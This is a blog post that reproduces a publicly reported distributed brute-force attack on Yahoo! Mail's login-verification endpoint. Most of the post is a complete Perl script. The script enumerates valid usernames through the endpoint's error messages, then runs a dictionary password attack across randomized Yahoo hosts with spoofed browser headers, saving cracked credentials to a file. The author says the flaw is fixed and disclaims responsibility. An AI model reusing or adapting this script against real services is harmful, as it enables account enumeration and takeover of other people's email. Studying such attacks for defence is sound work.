"Distributed Brute Force Attacks Against Yahoo! Mail", an attempt to reproduce the attack
Ryan Barnett from Breach Security posted a very detailed distributed brute force attacks against yahoo on his blog. He did a superb job on introducing the problem, analyzing the attacks and proposing defensive takeaways.
I took some time to put up a simple perl script to attempt to simulate the attack, the script is very straight forward: it reads username and password files from two separate files. Constructs a malicious url from an array of randomized Yahoo! mail hosts (current hard coded, a better way will be to retrieve the list with google hack).
#!/usr/bin/perl -w use LWP; # @TODOs: # - Add proxy support # - Add password cracking support for dictionary and bruteforcing # - Add retry function when randomized IP fails # - Threading # Credit goes to Ryan Barnett # List of possible Yahoo Mail IP addresses my @ips = ( "119.160.244.89", "login.bjs.yahoo.com", "login.india.yahoo.com", "209.191.92.100", "209.191.92.82", "202.86.7.118" ); # ERROR Codes my @err_msgs = ( "OK:0:", "ERROR:101:Invalid Password", "ERROR:102:Invalid Login", "ERROR:210:Required fields missing (expected l,p)" ); my $url = "http://".$ips[rand @ips]."/config/isp_verify_user?l="; my $tempurl = $url; my $browser = LWP::UserAgent->new; # @return array of valid users that will be used to perform password cracking sub list_username { open(user_dict, "username") or die "unable to open file \n"; @usernames = <user_dict>; close(user_dict); chomp @usernames; @valid_users = (); if($#usernames >= 0){ print "\n"; foreach $username (@usernames){ #print $username."\n"; $url .= $username."&p=Misty"; #print "Trying $url"; my $response = $browser->get( $url, 'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)', 'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*', 'Accept-Charset' => 'iso-8859-1,*,utf-8', 'Accept-Language' => 'en-US' ); # If a valid user name is found, add it into a temp array if($response->status_line eq "200 OK" && $response->content=~ m/$err_msgs[1]/) { print "$username exists (".$response->content. ")\n"; push @valid_users, $username; } } } else{ print "No username is found is the file"; } @valid_users; } list_username(); sub crack_pass{ open(pass_dict, "pass") or die "unable to open file \n"; @passwords =; close(pass_dict); chomp @passwords; # O(n^2), need to optimize the runtime foreach $v_u (@valid_users){ print "\nUser $v_u:\n"; foreach $password (@passwords){ $tempurl = "http://".$ips[rand @ips]."/config/isp_verify_user?cookies=1&l=".$v_u."&p=".$password; print $tempurl; my $response = $browser->get( $tempurl, 'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)', 'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*', 'Accept-Charset' => 'iso-8859-1,*,utf-8', 'Accept-Language' => 'en-US' ); # If a valid user name is found, add it into a temp array if($response->status_line eq "200 OK" && $response->content=~ m/$err_msgs[0]/){ print "\nCongratulations: $password is valid\n"; open(CREDENTIAL, '>>', "credential") or die "unable to write to file"; print CREDENTIAL "$v_u:$password\n"; }else{ print "\n"; print "Invalid Password: $password (".$response->content.")\n"; } sleep 2; } } } crack_pass();
I wrote this script back in Sept 09, and successfully cracked some of the dummy accounts I created (for testing purpose). It also seems like Yahoo! has fixed the problem, so I feel safe to publish the script. Again, I don't take any legal responsibility and you are responsible for all of your actions.
- tag: